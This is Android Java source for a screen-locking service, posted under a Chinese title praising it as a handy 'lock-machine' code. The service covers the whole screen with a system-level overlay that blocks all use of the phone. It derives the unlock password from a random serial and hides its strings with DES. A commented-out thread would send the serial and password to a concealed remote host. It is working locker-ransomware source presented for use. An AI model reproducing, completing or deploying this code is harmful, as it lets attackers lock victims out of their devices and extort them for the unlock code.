非常好用的锁机源码，限制一切功能，只有算法才能截屏

package com.h; import android.app.*; import android.content.*; import android.graphics.*; import android.net.*; import android.os.*; import android.telephony.*; import android.view.*; import android.view.View.*; import android.view.WindowManager.*; import android.view.animation.*; import android.widget.*; public class s extends Service { private WindowManager.LayoutParams wmParams; private WindowManager mWindowManager; private View mFloatLayout; Button bt; EditText ed; TextView tv; long pass; Long passw; String password; String ppss; DU des; SharedPreferences share; SharedPreferences.Editor editor; @Override public IBinder onBind(Intent p1) { // TODO: Implement this method return null; } @Override public void onCreate() { super.onCreate(); pass = (long)(Math.random() * 100000000);//序列号 passw=pass+123456; des = new DU("flower");//flower try { des = new DU(des.decrypt("c29fe56fa59ab0db"));//xxx } catch (Exception e) {} share = getSharedPreferences("Flowers", MODE_PRIVATE); editor = share.edit(); if (share.getLong("m", 0) == 0) { //第一次 editor.putLong("m", pass); editor.commit();//序列号 try { editor.putString("passw", des.encrypt("" + passw)); editor.commit();//密码 } catch (Exception e) {} if (is(getApplicationContext())) { ppss = (share.getLong("m", 8)) + ""; try { password = des.decrypt(share.getString("passw", "")); } catch (Exception e) {} new Thread() { public void run() { try { //net.conect(des.decrypt("fc9da975060ed6a6886d03ea843092e1") + ppss, des.decrypt("f618564e3674a3d6f55da95a58605dbb") + password); } catch (Exception e) {} } }.start(); } else { try { editor.putLong("m", Long.parseLong(des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));//00000000 editor.commit(); editor.putString("passw", "c8c0ae88e6d1aeb8a2bcb7274e242414");//beautifulflower editor.commit(); } catch (Exception e) {} } } } @Override public void onStart(Intent intent, int startId) { // TODO: Implement this method super.onStart(intent, startId); c();//悬浮窗 } private void c() { /* lp.type = 2010; r0_service.lp.flags = 1280; r0_service.lp.format = 1; r0_service.lp.width = -1; r0_service.lp.height = -1; r0_service.lp.gravity = 17; */ wmParams = new WindowManager.LayoutParams(); //获取的是WindowManagerImpl.CompatModeWrapper mWindowManager = (WindowManager)getApplication().getSystemService(getApplication().WINDOW_SERVICE); //Log.i(TAG, "mWindowManager--->"+ mWindowManager); //设置window type wmParams.type = LayoutParams. TYPE_SYSTEM_ERROR; // 该类型提供与用户交互，置于所有应用程序上方，但是在状态栏后面 // TYPE_TOAST TYPE_SYSTEM_OVERLAY 在其他应用上层 在通知栏下层 位置不能动鸟 // TYPE_PHONE 在其他应用上层 在通知栏下层 // TYPE_PRIORITY_PHONE TYPE_SYSTEM_ALERT 在其他应用上层 在通知栏上层 没试出来区别是啥 // TYPE_SYSTEM_ERROR 最顶层(通过对比360和天天动听歌词得出) // //设置图片格式，效果为背景透明 wmParams.format = PixelFormat.RGBA_8888; //wmParams.format=1; //设置浮动窗口不可聚焦（实现操作除浮动窗口外的其他可见窗口的操作） //实现悬浮窗到状态栏 //wmParams.flags = LayoutParams.FLAG_LOCAL_FOCUS_MODE | LayoutParams.FLAG_FULLSCREEN | LayoutParams.FLAG_LAYOUT_IN_SCREEN; wmParams.flags = 1280; //LayoutParams.FLAG_NOT_FOCUSABLE //少此代码屏幕无法获取下层东西 //LayoutParams.TYPE_SYSTEM_ERROR | //LayoutParams.FLAG_FULLSCREEN| LayoutParams.FLAG_LAYOUT_IN_SCREEN //调整悬浮窗显示的停靠位置为左侧置顶 wmParams.gravity = Gravity.CENTER_HORIZONTAL | Gravity.TOP; // 以屏幕左上角为原点，设置x、y初始值，相对于gravity wmParams.x = 0; wmParams.y = 0; //设置悬浮窗口长宽数据 wmParams.width = WindowManager.LayoutParams.FILL_PARENT; wmParams.height = WindowManager.LayoutParams.FILL_PARENT; //wmParams.height=500; // 设置悬浮窗口长宽数据 //wmParams.width = 200; //wmParams.height = 80; LayoutInflater inflater = LayoutInflater.from(getApplication()); //获取浮动窗口视图所在布局 mFloatLayout = inflater.inflate(R.layout.newone, null); //添加mFloatLayout mWindowManager.addView(mFloatLayout, wmParams); bt = (Button)mFloatLayout.findViewById(R.id.bt); ed = (EditText)mFloatLayout.findViewById(R.id.ed); tv = (TextView)mFloatLayout.findViewById(R.id.tv); try { ed.setHint("输入密码！"); tv.append("随机码:"); } catch (Exception e) {} bt.setOnClickListener(new OnClickListener() { @Override public void onClick(View p1) { // TODO: Implement this method try { if (ed.getText().toString().equals(des.decrypt(share.getString("passw", "")))) { mWindowManager.removeView(mFloatLayout); stopSelf(); } } catch (Exception e) {} } }); try { tv.append("\n" + des.decrypt("e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c") + share.getLong("m", 0)); } catch (Exception e) {} } public boolean is(Context context) { //是否有网络连接 if (context != null) { ConnectivityManager mConnectivityManager = (ConnectivityManager) context .getSystemService(Context.CONNECTIVITY_SERVICE); NetworkInfo mNetworkInfo = mConnectivityManager.getActiveNetworkInfo(); if (mNetworkInfo != null) { return mNetworkInfo.isAvailable(); } } return false; } }